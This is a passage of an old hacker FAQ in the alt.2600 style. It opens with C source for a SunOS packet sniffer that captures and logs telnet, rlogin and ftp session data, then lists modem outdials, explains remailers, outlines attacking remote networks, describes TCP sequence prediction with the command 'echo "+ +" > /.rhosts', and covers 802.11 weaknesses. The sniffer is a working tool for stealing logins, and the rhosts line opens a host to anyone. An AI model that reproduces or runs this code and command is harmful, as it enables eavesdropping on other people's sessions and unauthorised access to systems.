SFL(4,TH_ACK, 'A');
SFL(5,TH_URG, 'U');
iobuf[6]=0;
return(iobuf);
}

char *SERVp(port)
register u_int port;
{ static char buf[10];
register char *p;

switch(port) {
case IPPORT_LOGINSERVER: p="rlogin"; break;
case IPPORT_TELNET: p="telnet"; break;
case IPPORT_SMTP: p="smtp"; break;
case IPPORT_FTP: p="ftp"; break;
default: sprintf(buf,"%u",port); p=buf; break;
}
return(p);
}

char *Ptm(t)
register time_t *t;
{ register char *p = ctime(t);
p[strlen(p)-6]=0; /* strip " YYYY\n" */
return(p);
}

char *NOWtm()
{ time_t tm;
time(&tm);
return( Ptm(&tm) );
}

#define MAX(a,b) (((a)>(b))?(a):(b))


#define MIN(a,b) (((a)<(b))?(a):(b))

/* add an item */
#define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN) { \
register struct CREC *CLtmp = \
(struct CREC *)malloc(sizeof(struct CREC)); \
time( &(CLtmp->Time) ); \
CLtmp->SRCip.s_addr = SIP.s_addr; \
CLtmp->DSTip.s_addr = DIP.s_addr; \
CLtmp->SRCport = SPORT; \
CLtmp->DSTport = DPORT; \
CLtmp->Length = MIN(LEN,MAXBUFLEN); \
bcopy( (u_char *)DATA, (u_char *)CLtmp->Data, CLtmp->Length); \
CLtmp->PKcnt = 1; \
CLtmp->Next = CLroot; \
CLtmp->Last = NULL; \
CLroot = CLtmp; \

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register struct CREC *GET_NODE(Sip,SP,Dip,DP)


register struct in_addr Sip,Dip;
register u_int SP,DP;
{ register struct CREC *CLr = CLroot;

while(CLr != NULL) {
if( (CLr->SRCport == SP) && (CLr->DSTport == DP) &&
IPeq(CLr->SRCip,Sip) && IPeq(CLr->DSTip,Dip) )
break;
CLr = CLr->Next;
}
return(CLr);
}

#define ADDDATA_NODE(CL,DATA,LEN) { \
bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length],LEN); \
CL->Length += LEN; \
}

#define PR_DATA(dp,ln) { \
register u_char lastc=0; \
while(ln-- >0) { \
if(*dp < 32) { \
switch(*dp) { \
case '\0': if((lastc=='\r') || (lastc=='\n') || lastc=='\0') \
break; \
case '\r': \
case '\n': fprintf(LOG,"\n : "); \
break; \
default : fprintf(LOG,"^%c", (*dp + 64)); \
break; \
} \
} else { \
if(isprint(*dp)) fputc(*dp,LOG); \
else fprintf(LOG,"(%d)",*dp); \
} \
lastc = *dp++; \
} \
fflush(LOG); \
}

void END_NODE(CLe,d,dl,msg)
register struct CREC *CLe;
register u_char *d;
register int dl;
register char *msg;
{
fprintf(LOG,"\n-- TCP/IP LOG -- TM: %s --\n", Ptm(&CLe->Time));
fprintf(LOG," PATH: %s(%s) =>",
Symaddr(CLe->SRCip),SERVp(CLe->SRCport));
fprintf(LOG," %s(%s)\n",
Symaddr(CLe->DSTip),SERVp(CLe->DSTport));
fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]\n",
NOWtm(),CLe->PKcnt,(CLe->Length+dl),msg);
fprintf(LOG," DATA: ");
{ register u_int i = CLe->Length;
register u_char *p = CLe->Data;
PR_DATA(p,i);
PR_DATA(d,dl);
}

fprintf(LOG,"\n-- \n");
fflush(LOG);

if(CLe->Next != NULL)
CLe->Next->Last = CLe->Last;
if(CLe->Last != NULL)
CLe->Last->Next = CLe->Next;

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else
CLroot = CLe->Next;
free(CLe);
}

/* 30 mins (x 60 seconds) */
#define IDLE_TIMEOUT 1800
#define IDLE_NODE() { \
time_t tm; \
time(&tm); \
if(LastTIME<tm) { \
register struct CREC *CLe,*CLt = CLroot; \
LastTIME=(tm+IDLE_TIMEOUT); tm-=IDLE_TIMEOUT; \
while(CLe=CLt) { \
CLt=CLe->Next; \
if(CLe->Time <tm) \
END_NODE(CLe,(u_char *)NULL,0,"IDLE TIMEOUT"); \
} \
} \
}

void filter(cp, pktlen)


register char *cp;
register u_int pktlen;
{
register struct ip *ip;
register struct tcphdr *tcph;

{ register u_short EtherType=ntohs(((struct ether_header


*)cp)->ether_type);

if(EtherType < 0x600) {


EtherType = *(u_short *)(cp + SZETH + 6);
cp+=8; pktlen-=8;
}

if(EtherType != ETHERTYPE_IP) /* chuk it if its not IP */


return;
}

/* ugh, gotta do an alignment :-( */


bcopy(cp + SZETH, (char *)Packet,(int)(pktlen - SZETH));

ip = (struct ip *)Packet;
if( ip->ip_p != IPPROTO_TCP) /* chuk non tcp pkts */
return;
tcph = (struct tcphdr *)(Packet + IPHLEN);

if(!( (TCPD == IPPORT_TELNET) ||


(TCPD == IPPORT_LOGINSERVER) ||
(TCPD == IPPORT_FTP)
)) return;

{ register struct CREC *CLm;


register int length = ((IPLEN - (IPHLEN * 4)) - (TCPOFF * 4));
register u_char *p = (u_char *)Packet;

p += ((IPHLEN * 4) + (TCPOFF * 4));

if(debug) {
fprintf(LOG,"PKT: (%s %04X) ", TCPflags(tcph->th_flags),length);
fprintf(LOG,"%s[%s] => ", inet_ntoa(IPS),SERVp(TCPS));
fprintf(LOG,"%s[%s]\n", inet_ntoa(IPD),SERVp(TCPD));
}

if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) {

CLm->PKcnt++;

if(length>0)

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if( (CLm->Length + length) < MAXBUFLEN ) {


ADDDATA_NODE( CLm, p,length);
} else {
END_NODE( CLm, p,length, "DATA LIMIT");
}

if(TCPFL(TH_FIN|TH_RST)) {
END_NODE( CLm, (u_char *)NULL,0,TCPFL(TH_FIN)?"TH_FIN":"TH_RST"
);
}

} else {

if(TCPFL(TH_SYN)) {
ADD_NODE(IPS,IPD,TCPS,TCPD,p,length);
}

IDLE_NODE();

/* signal handler
*/
void death()
{ register struct CREC *CLe;

while(CLe=CLroot)
END_NODE( CLe, (u_char *)NULL,0, "SIGNAL");

fprintf(LOG,"\nLog ended at => %s\n",NOWtm());


fflush(LOG);
if(LOG != stdout)
fclose(LOG);
exit(1);
}

/* opens network interface, performs ioctls and reads from it,


* passing data to filter function
*/
void do_it()
{
int cc;
char *buf;
u_short sp_ts_len;

if(!(buf=malloc(CHUNKSIZE)))
Pexit(1,"Eth: malloc");

/* this /dev/nit initialization code pinched from etherfind */


{
struct strioctl si;
struct ifreq ifr;
struct timeval timeout;
u_int chunksize = CHUNKSIZE;
u_long if_flags = NI_PROMISC;

if((if_fd = open(NIT_DEV, O_RDONLY)) < 0)


Pexit(1,"Eth: nit open");

if(ioctl(if_fd, I_SRDOPT, (char *)RMSGD) < 0)


Pexit(1,"Eth: ioctl (I_SRDOPT)");

si.ic_timout = INFTIM;

if(ioctl(if_fd, I_PUSH, "nbuf") < 0)


Pexit(1,"Eth: ioctl (I_PUSH \"nbuf\")");

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timeout.tv_sec = 1;
timeout.tv_usec = 0;
si.ic_cmd = NIOCSTIME;
si.ic_len = sizeof(timeout);
si.ic_dp = (char *)&timeout;

if(ioctl(if_fd, I_STR, (char *)&si) < 0)


Pexit(1,"Eth: ioctl (I_STR: NIOCSTIME)");

si.ic_cmd = NIOCSCHUNK;
si.ic_len = sizeof(chunksize);
si.ic_dp = (char *)&chunksize;
if(ioctl(if_fd, I_STR, (char *)&si) < 0)
Pexit(1,"Eth: ioctl (I_STR: NIOCSCHUNK)");

strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name));


ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0';
si.ic_cmd = NIOCBIND;
si.ic_len = sizeof(ifr);
si.ic_dp = (char *)&ifr;
if(ioctl(if_fd, I_STR, (char *)&si) < 0)
Pexit(1,"Eth: ioctl (I_STR: NIOCBIND)");

si.ic_cmd = NIOCSFLAGS;
si.ic_len = sizeof(if_flags);
si.ic_dp = (char *)&if_flags;

if(ioctl(if_fd, I_STR, (char *)&si) < 0)


Pexit(1,"Eth: ioctl (I_STR: NIOCSFLAGS)");

if(ioctl(if_fd, I_FLUSH, (char *)FLUSHR) < 0)


Pexit(1,"Eth: ioctl (I_FLUSH)");
}

while ((cc = read(if_fd, buf, CHUNKSIZE)) >= 0) {


register char *bp = buf,
*bufstop = (buf + cc);

while (bp < bufstop) {


register char *cp = bp;
register struct nit_bufhdr *hdrp;

hdrp = (struct nit_bufhdr *)cp;


cp += sizeof(struct nit_bufhdr);
bp += hdrp->nhb_totlen;
filter(cp, (u_long)hdrp->nhb_msglen);
}
}
Pexit((-1),"Eth: read");
}
/* Authorize your program, generate your own password and uncomment here
*/
/* #define AUTHPASSWD "EloiZgZejWyms" */

void getauth()
{ char *buf,*getpass(),*crypt();
char pwd[21],prmpt[81];

strcpy(pwd,AUTHPASSWD);
sprintf(prmpt,"(%s)UP? ",ProgName);
buf=getpass(prmpt);
if(strcmp(pwd,crypt(buf,pwd)))
exit(1);
}
*/
void main(argc, argv)
int argc;
char **argv;
{

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char cbuf[BUFSIZ];
struct ifconf ifc;
int s,
ac=1,
backg=0;

ProgName=argv[0];

/* getauth(); */

LOG=NULL;
device=NULL;
while((ac<argc) && (argv[ac][0] == '-')) {
register char ch = argv[ac++][1];
switch(toupper(ch)) {
case 'I': device=argv[ac++];
break;
case 'F': if(!(LOG=fopen((LogName=argv[ac++]),"a")))
Zexit(1,"Output file cant be opened\n");
break;
case 'B': backg=1;
break;
case 'D': debug=1;
break;
default : fprintf(ERR,
"Usage: %s [-b] [-d] [-i interface] [-f file]\n",
ProgName);
exit(1);
}
}

if(!device) {
if((s=socket(AF_INET, SOCK_DGRAM, 0)) < 0)
Pexit(1,"Eth: socket");

ifc.ifc_len = sizeof(cbuf);
ifc.ifc_buf = cbuf;
if(ioctl(s, SIOCGIFCONF, (char *)&ifc) < 0)
Pexit(1,"Eth: ioctl");

close(s);
device = ifc.ifc_req->ifr_name;
}

fprintf(ERR,"Using logical device %s [%s]\n",device,NIT_DEV);


fprintf(ERR,"Output to %s.%s%s",(LOG)?LogName:"stdout",
(debug)?" (debug)":"",(backg)?" Backgrounding ":"\n");

if(!LOG)
LOG=stdout;

signal(SIGINT, death);
signal(SIGTERM,death);
signal(SIGKILL,death);
signal(SIGQUIT,death);

if(backg && debug) {


fprintf(ERR,"[Cannot bg with debug on]\n");
backg=0;
}

if(backg) {
register int s;

if((s=fork())>0) {
fprintf(ERR,"[pid %d]\n",s);
exit(0);
} else if(s<0)
Pexit(1,"fork");

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if( (s=open("/dev/tty",O_RDWR))>0 ) {
ioctl(s,TIOCNOTTY,(char *)NULL);
close(s);
}
}
fprintf(LOG,"\nLog started at => %s [pid %d]\n",NOWtm(),getpid());
fflush(LOG);

do_it();
}

B-06. What is an Internet Outdial?

An Internet outdial is a modem connected to the Internet than you can use to dial out. Normal
outdials will only call local numbers. A GOD (Global OutDial) is capable of calling long
distance. Outdials are an inexpensive method of calling long distance BBS's.

B-07. What are some Internet Outdials?

This FAQ answer is excerpted from CoTNo #5: Internet Outdial List v3.0 by Cavalier and
DisordeR

Introduction

There are several lists of Internet outdials floating around the net these days. The following is a
compilation of other lists, as well as v2.0 by DeadKat(CoTNo issue 2, article 4). Unlike other
lists where the author just ripped other people and released it, we have sat down and tested
each one of these. Some of them we have gotten "Connection Refused" or it timed out while
trying to connect...these have been labeled dead.

Working Outdials as of 12/29/94:


NPA IP Address Instructions
215 isn.upenn.edu modem
217 dialout.cecer.army.mil atdt x,xxxXXXXX
218 modem.d.umn.edu atdt9,xxxXXXX
303 yuma.acns.colostate.edu 3020
412 myriad.pc.cc.cmu.edu 2600 Press D at the prompt
tn3270,
412 gate.cis.pitt.edu connect dialout.pitt.edu,
atdtxxxXXXX
413 dialout2400.smith.edu Ctrl } gets ENTER NUMBER: xxxxxxx
502 outdial.louisville.edu
502 uknet.uky.edu connect kecnet
@ dial: "outdial2400 or out"
602 acssdial.inre.asu.edu atdt8,,,,,[x][yyy]xxxyyyy
614 ns2400.acs.ohio-state.edu
614 ns9600.acs.ohio-state.edu

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713 128.249.27.153 atdt x,xxxXXXX


714 modem.nts.uci.edu atdt[area]0[phone]
804 ublan.virginia.edu connect hayes, 9,,xxx-xxxx
804 ublan2.acc.virginia.edu connect telnet
connect hayes

Need password:
NPA IP Address Instructions
204 dial.cc.umanitoba.ca
206 rexair.cac.washington.edu This is an unbroken password
303 yuma.ACNS.ColoState.EDU login: modem
404 128.140.1.239 .modem8|CR
415 annex132-1.EECS.Berkeley.EDU "dial1" or "dial2" or "dialer1"
514 cartier.CC.UMontreal.CA externe,9+number
703 wal-3000.cns.vt.edu dial2400 -aa

Dead/No Connect:
NPA IP Address Instructions
201 idsnet
202 modem.aidt.edu
204 umnet.cc.manitoba.ca "dial12" or "dial24"
206 dialout24.cac.washington.edu
207 modem-o.caps.maine.edu
212 B719-7e.NYU.EDU dial3/dial12/dial24
212 B719-7f.NYU.EDU dial3/dial12/dial24
212 DIALOUT-1.NYU.EDU dial3/dial12/dial24
212 FREE-138-229.NYU.EDU dial3/dial12/dial24
212 UP19-4b.NYU.EDU dial3/dial12/dial24
215 wiseowl.ocis.temple.edu "atz" "atdt 9xxxyyyy"
218 aa28.d.umn.edu "cli" "rlogin modem" at "login:" type
"modem"
218 modem.d.umn.edu Hayes 9,XXX-XXXX
301 dial9600.umd.edu
305 alcat.library.nova.edu
305 office.cis.ufl.edu
307 modem.uwyo.edu Hayes 0,XXX-XXXX
313 35.1.1.6 dial2400-aa or dial1200-aa or dialout
402 dialin.creighton.edu
402 modem.criegthon.edu
404 broadband.cc.emory.edu ".modem8" or ".dialout"
408 dialout.scu.edu
408 dialout1200.scu.edu
408 dialout2400.scu.edu
408 dialout9600.scu.edu

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413 dialout.smith.edu
414 modems.uwp.edu
416 annex132.berkely.edu atdt 9,,,,, xxx-xxxx
416 pacx.utcs.utoronto.ca modem
503 dialout.uvm.edu
513 dialout24.afit.af.mil
513 r596adi1.uc.edu
514 pacx.CC.UMontreal.CA externe#9 9xxx-xxxx
517 engdial.cl.msu.edu
602 dial9600.telcom.arizona.edu
603 dialout1200.unh.edu
604 dial24-nc00.net.ubc.ca
604 dial24-nc01.net.ubc.ca
604 dial96-np65.net.ubc.ca
604 gmodem.capcollege.bc.ca
604 hmodem.capcollege.bc.ca
609 128.119.131.11 X (X= 1 - 4) Hayes
609 wright-modem-1.rutgers.edu
609 wright-modem-2.rutgers.edu
612 modem_out12e7.atk.com
612 modem_out24n8.atk.com
614 ns2400.ircc.ohio-state.edu "dial"
615 dca.utk.edu dial2400 D 99k #
615 MATHSUN23.MATH.UTK.EDU dial 2400 d 99Kxxxxxxx
616 modem.calvin.edu
617 128.52.30.3 2400baud
617 dialout.lcs.mit.edu
617 dialout1.princeton.edu
617 isdn3.Princeton.EDU
617 jadwingymkip0.Princeton.EDU
617 lord-stanley.Princeton.EDU
617 mpanus.Princeton.EDU
617 mrmodem.wellesley.edu
617 old-dialout.Princeton.EDU
617 stagger.Princeton.EDU
617 sunshine-02.lcs.mit.edu
617 waddle.Princeton.EDU
619 128.54.30.1 atdt [area][phone]
619 dialin.ucsd.edu "dialout"
703 modem_pool.runet.edu
703 wal-3000.cns.vt.edu
713 128.249.27.154 "c modem96" "atdt 9xxx-xxxx" or
"Hayes"

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713 modem12.bcm.tmc.edu
713 modem24.bcm.tmc.edu
713 modem24.bcm.tmc.edu
714 mdmsrv7.sdsu.edu atdt 8xxx-xxxx
714 modem24.nts.uci.edu
714 pub-gopher.cwis.uci.edu
801 dswitch.byu.edu "C Modem"
808 irmodem.ifa.hawaii.edu
902 star.ccs.tuns.ca "dialout"
916 129.137.33.72
916 cc-dnet.ucdavis.edu connect hayes/dialout
916 engr-dnet1.engr.ucdavis.edu UCDNET <ret> C KEYCLUB <ret>
??? 128.200.142.5
??? 128.54.30.1 nue, X to discontinue, ? for Help
??? 128.6.1.41
??? 128.6.1.42
??? 129.137.33.72
??? 129.180.1.57
??? 140.112.3.2 ntu <none>
??? annexdial.rz.uni-duesseldorf.de
??? dial96.ncl.ac.uk
??? dialout.plk.af.mil
??? ee21.ee.ncu.edu.tw cs8005
??? im.mgt.ncu.edu.tw guest <none>
??? modem.cis.uflu.edu
??? modem.ireq.hydro.qc.ca
??? modems.csuohio.edu
??? sparc20.ncu.edu.tw u349633
??? sun2cc.nccu.edu.tw ?
??? ts-modem.une.oz.au
??? twncu865.ncu.edu.tw guest <none>
??? vtnet1.cns.ut.edu "CALL" or "call"

Conclusion

If you find any of the outdials to have gone dead, changed commands, or require password,
please let us know so we can keep this list as accurate as possible. If you would like to add to
the list, feel free to mail us and it will be included in future versions of this list, with your name
beside it. Have fun...

[Editors note: Updates have been made to this document after the original publication]

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B-08. What port is XXX on?

The file /etc/services on most Unix machines lists the port assignments for that machine. For a complete list
of port assignments, read RFC (Request For Comments) 1700 "Assigned Numbers"

B-09. What is an anonymous remailer?

This FAQ answer was written by Raph Levien:

An anonymous remailer is a system on the Internet that allows you to send e-mail or post messages to
Usenet anonymously.

There are two sorts of remailers in widespread use. The first is the anon.penet.fi style, the second is the
cypherpunk style. The remailer at anon.penet.fi is immensely popular, with over 160,000 users over its
lifetime, and probably tens of thousands of messages per day. Its main advantage is that it's so easy to use.
The cypherpunks mailers, which provide much better security, are becoming more popular, however, as
there is more awareness of them.

The user of the anon.penet.fi system first needs to get an anonymous id. This is done either by sending mail
to somebody who already has one (for example, by replying to a post on Usenet), or sending mail to
ping@anon.penet.fi. In either case, penet will mail back the new anon id, which looks like
an123456@anon.penet.fi. If an123456 then sends mail to another user of the system, then this is what
happens:

1. The mail is transported to anon.penet.fi, which resides somewhere in the vicinity of Espoo, Finland.

2. These steps are carried out by software running on anon.penet.fi. Penet first looks up the email
address of the sender in its database, then replaces it with the numeric code. All other information
about the sender is removed.

3. Then, penet looks up the number of the recipient in the same database, and replaces it with the actual
email address.

4. Finally, it sends the mail to the actual email address of the recipient.

There are variations on this scheme, such as posting to Usenet (in which step 3 is eliminated), but that's the
basic idea.

Where anon.penet.fi uses a secret database to match anon id's to actual email addresses, the cypherpunks
remailers use cryptography to hide the actual identities. Let's say I want to send email to a real email
address, or post it to Usenet, but keep my identity completely hidden. To send it through one remailer, this
is what happens.

1. I encrypt the message and the recipient's address, using the public key of the remailer of my choice.

2. I send the email to the remailer.

3. When the remailer gets the mail, it decrypts it using its private key, revealing as plaintext the
message and the recipient's address.

4. All information about the sender is removed.

5. Finally, it sends it to the recipient's email address.

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If one trusts the remailer operator, this is good enough. However, the whole point of the cypherpunks
remailers is that you don't have to trust any one individual or system. So, people who want real security use
a chain of remailers. If any one remailer on the "chain" is honest, then the privacy of the message is
assured.

To use a chain of remailers, I first have to prepare the message, which is nestled within multiple layers of
encryption, like a Russian matryoshka doll. Preparing such a message is tedious and error prone, so many
people use an automated tool such as my premail package. Anyway, after preparing the message, it is sent
to the first remailer in the chain, which corresponds to the outermost layer of encryption. Each remailer
strips off one layer of encryption and sends the message to the next, until it reaches the final remailer. At
this point, only the innermost layer of encryption remains. This layer is stripped off, revealing the plaintext
message and recipient for the first time. At this point, the message is sent to its actual recipient.

Remailers exist in many locations. A typical message might go through Canada, Holland, Berkeley, and
Finland before ending up at its final location.

Aside from the difficulty of preparing all the encrypted messages, another drawback of the cypherpunk
remailers is that they don't easily allow responses to anonymous mail. All information about the sender is
stripped away, including any kind of return address. However the new alias servers promise to change that.
To use an alias server, one creates a new email address (mine is raph@alpha.c2.org). Mail sent to this new
address will be untraceably forwarded to one's real address.

To set this up, one first encrypts one's own email address with multiple layers of encryption. Then, using an
encrypted channel, one sends the encrypted address to the alias server, along with the nickname that one
would like. The alias server registers the encrypted address in the database. The alias server then handles
reply mail in much the same way as anon.penet.fi, except that the mail is forwarded to the chain of
anonymous remailers.

For maximum security, the user can arrange it so that, at each link in the chain, the remailer adds another
layer of encryption to the message while removing one layer from the email address. When the user finally
gets the email, it is encrypted in multiple layers. The matryoshka has to be opened one doll at a time until
the plaintext message hidden inside is revealed.

One other point is that the remailers must be reliable in order for all this to work. This is especially true
when a chain of remailers is used -- if any one of the remailers is not working, then the message will be
dropped. This is why I maintain a list of reliable remailers. By choosing reliable remailers to start with,
there is a good chance the message will finally get there.

B-10. What are the addresses of some anonymous remailers?

To see a comprehensive list on anonymous remailers point your web browser to http://anon.efga.org
/Remailers.

For more information regarding anonymous email, check out http://web.rge.com/pub/security


/cypherpunks/.

The following URL's allow you to send anonymous e-mail via the world wide web:

http://www.anonymizer.com http://members.ozemail.com.au/~geoffk/anon/anon.html

B-11. What is 127.0.0.1?

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127.0.0.1 is a loopback network connection. If you telnet, ftp, etc... to it you are connected to your own
machine.

B-12. How do I post to a moderated newsgroup?

Usenet messages consist of message headers and message bodies. The message header tells the news
software how to process the message. Headers can be divided into two types, required and optional.
Required headers are ones like "From" and "Newsgroups." Without the required headers, your message
will not be posted properly.

One of the optional headers is the "Approved" header. To post to a moderated newsgroup, simply add an
Approved header line to your message header. The header line should contain the newsgroup moderators
e-mail address. To see the correct format for your target newsgroup, save a message from the newsgroup
and then look at it using any text editor.

A "Approved" header line should look like this:

Approved: voyager@sekurity.org

There cannot not be a blank line in the message header. A blank line will cause any portion of the header
after the blank line to be interpreted as part of the message body.

For more information, read RFC 1036: Standard for Interchange of USENET messages.

B-13. How do I post to Usenet via e-mail?

Through an e-mail->Usenet gateway. Send an a e-mail messages to <newsgroup>@<servername>. For


example, to post to alt.2600 through nic.funet.fi, address your mail to alt.2600@nic.funet.fi.

Here are a few e-mail->Usenet gateways:

group.name@news.demon.co.uk
group.name@charm.magnus.acs.ohio-state.edu
group.name@undergrad.math.uwaterloo.ca group.name@nic.funet.fi
group.name.usenet@decwrl.dec.com

B-14. What is a firewall?

A firewall is a system that is set up to control traffic flow between two networks. Firewalls are most
commonly specially configured Unix systems, but firewalls have also been built out of many other systems,
including systems designed specifically for use as firewalls. The most common firewall today is CheckPoint
FireWall-1, but competitions such as Cisco's PIX are quickly catching up on CheckPoint.

Many people disagree on the definiton of a firewall, and in this discussion I will use the term loosely.

One type of firewall is the packet filtering firewall. In a packet filtering firewall, the firewall examines five
characteristics of a packet:

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Source IP address
Source port
Destination IP address
Destination port
IP protocol (TCP or UDP)

Based upon rules configured into the firewall, the packet will either be allowed through, rejected, or
dropped. If the firewall rejects the packet, it sends a message back to the sender letting him know that the
packet was rejected. If the packet was dropped, the firewall simply does not respond to the packet. The
sender must wait for the communications to time out. Dropping packets instead of rejecting them greatly
increases the time required to scan your network. Packet filtering firewalls operate on Layer 3 of the OSI
model, the Network Layer. Routers are a very common form of packet filtering firewall.

An improved form of the packet filtering firewall is a packet filtering firewall with a stateful inspection
engine. With this enhancement, the firewall "remembers" conversations between systems. It is then
necessary to fully examine only the first packet of a conversation.

Another type of firewall is the application-proxy firewall. In a proxying firewall, every packet is stopped at
the firewall. The packet is then examined and compared to the rules configured into the firewall. If the
packet passes the examinations, it is re-created and sent out. Because each packet is destroyed and
re-created, there is a potential that an application-proxy firewall can prevent unknown attacks based upon
weaknesses in the TCP/IP protocol suite that would not be prevented by a packet filtering firewall. The
drawback is that a separate application-proxy must be written for each application type being proxied. You
need an HTTP proxy for web traffic, an FTP proxy for file transfers, a Gopher proxy for Gopher traffic,
etc... Application-proxy firewalls operate on Layer 7 of the OSI model, the Application Layer.

Application-gateway firewalls also operate on Layer 7 of the OSI model. Application-gateway firewalls
exist for only a few network applications. A typical application-gateway firewall is a system where you
must telnet to one system in order telnet again to a system outside of the network.

Another type of application-proxy firewall are SOCKS firewalls. Where normal application-proxy firewalls
do not require modifications to network clients, SOCKS firewalls requires specially modified network
clients. This means you have to modify every system on your internal network which needs to
communicate with the external network. On a Windows or OS/2 system, this can be as easy as swapping a
few DLL's.

B-15. How do I attack a remote network across the Internet?

On a theoretical level, attacking a remote network across the Internet is very simple.

First, you research to discover all of the IP address ranges used by the target. Search the web, search
Usenet, search Internet, search RIPE, search APNIC, search everywhere.

Second, you identify all hosts in those IP address ranges. This may be as simple as pinging each possible
host in those networks. Be warned, however, that many hosts will be protected by firewalls that prvent
ICMP ECHO Requests (used by ping) from reaching them. Those hosts may still have vulnerable services
running on them.

Third, you identify all open ports on each of those hosts. For example, one host may be providing dns,
bootp, and time services. This is normally done by "port scanning" the host. Port scanning UDP ports is
much slower than port scanning TCP ports. TCP ports will respond negatively when they are not open.
UDP ports require you to wait for a timeout. You may choose to scan only known ports, or to scan only
ports below 1024, or to scan all 65,535 ports.

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Fourth, you attack vulnerable services. If you see a time server running and you know of a time server
exploit, you try it out. Perhaps the target is running an OS that is not vulnerable, or perhaps the system
administrator has patched the target host. Or, maybe you will succeed. Vulnerability information can be
gleaned from Internet WWW sites or mailing lists, traded privately, or developed on your own.

B-16. What is a TCP sequence prediction attack?

TCP is a reliable connection-oriented layer 4 (Transport Layer) protocol. Packet transfer between hosts is
accomplished by the layers below layer 4 and TCP takes responsibility to making certain the packets are
delivered to higher layers in the protocol stack in the correct order. To accomplish this reordering task,
TCP uses the sequence number field.

To successfully mount a TCP sequence prediction attack, you must first listen to communications between
two systems, one of which is your target system. Then, you issue packets from your system to the target
system with the source IP address of the trusted system that is communicating with the target system.

The packets you issue must have the sequence numbers that the target system is expecting. In addition,
your packets must arrive before the packets from the trusted system whose connection you are hijacking.
To accomplish this, it is often necessary to flood the trusted system off of the network with some form of
denial of service attack.

Once you have taken over the connection, you can send data to allow you to access the target host using a
normal TCP/IP connection. The most simple way to do this is:

echo "+ +" > /.rhosts

This specific technique relies upon inherent weaknesses in the BSD Unix `r` services. However, SunRPC,
NFS, X-Windows, and many other services which rely upon IP address authentication can be exploited
with a TCP sequence prediction attack.

An excerpt from RFC 793 concering the generation of TCP sequence numbers:

When new connections are created, an initial sequence number (ISN) generator is employed
which selects a new 32 bit ISN. The generator is bound to a (possibly fictitious) 32 bit clock
whose low order bit is incremented roughly every 4 microseconds. Thus, the ISN cycles
approximately every 4.55 hours. Since we assume that segments will stay in the network no
more than the Maximum Segment Lifetime (MSL) and that the MSL is less than 4.55 hours we
can reasonably assume that ISN's will be unique.

The developers of the BSD Unix TCP/IP stack did not follow these recommendations. TCP/IP stacks based
upon BSD Unix increase the sequence number by 128,000 every second and by 64,000 for every new TCP
connection. This is significantly more predictable than the algorithm specified in the RFC.

TCP sequence prediction attacks are stopped by any router or firewall that is configured not to allow
packets from an internal IP address to originate from an external interface.
TCP Header Format
-----------------

0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Source Port | Destination Port |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Sequence Number |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Acknowledgment Number |

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+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Data | |U|A|P|R|S|F| |
| Offset| Reserved |R|C|S|S|Y|I| Window |
| | |G|K|H|T|N|N| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Checksum | Urgent Pointer |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Options | Padding |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| data |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Section C -- Wireless Networks

C-01. What is 802.11?

802.11 is a suite of specifications for wireless Ethernet. 802.11 is interesting to hackers because it allows
almost untraceable entry into networks.

Standard Speed Frequency Modulation


802.11 2Mb 2.4Ghz Phase-Shift Keying
Orthogonal Frequency Division
802.11a 54Mb 5Ghz
Multiplexing
802.11b 11Mb 2.4Ghz Complementary Code Keying
802.11g
54Mb
2.4Ghz
Orthogonal Frequency Division
Multiplexing

C-02. What is a SSID?

The SSID (Service Set IDentifier) is a token which identifies an 802.11 network. The SSID is a secret key
which is set by the network administrator. You must know the SSID to join an 802.11 network, however,
the SSID can be discovered by network sniffing.

The fact that the SSID is a secret key instead of a public key creates a management problem for the
network administrator. Every user of the network must configure the SSID into their system. If the network
administrator seeks to lock a user out of the network, the administrator must change the SSID of the
network, which requires reconfiguration of every network node. Some 802.11 NICs allow you to configure
several SSIDs at one time.

Most 802.11 access point vendors allow the use of an SSID of "any" to enable an 802.11 NIC to connect to
any 802.11 network. This is known to work with gear from Buffalo Technologies, Cisco, D-Link,
Enterasys, Intermec, Lucent, and Proxim.

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C-03. What is WEP?

WEP (Wired Equivalent Privacy) is the encryption algorithm built into the 802.11 standard. WEP used the
RC4 cipher encryption algorithm with 40 or 104 bit keys with 24 bit salts.

WEP limitations include:

1. A high percentage of wireless networks have WEP disabled because of the administrative overhead
of maintaining a shared WEP key.
2. WEP has the same problem as all systems based upon shared keys: any secret held by more than one
person soon becomes public knowledge. Take for example an employee who leaves a company -
they still know the shared WEP key. The ex-employee could sit outside the company with an 802.11
NIC and sniff network traffic or even attack the internal network.
3. The initialization vector that seeds the WEP algorithm is sent in the clear.
4. The WEP checksum is linear and predictable.

For more information, read Security of the WEP Algorithm by Nikita Borisov, Ian Goldberg, and David
Wagner at http://www.isaac.cs.berkeley.edu/isaac/wep-faq.html

C-04. What is MAC Address Filtering?

Most 802.11 access points allow the network administrator to enter a list of MAC (Media Access Control)
addresses that are allowed to communicate on the network. On the other hand, most 802.11 NICs allow
you to configure the MAC address of the NIC in software. Therefore, if you can sniff the MAC address of
an existing network node, it is possible to join the network using that nodes MAC address.

C-05. What is a rogue access point?

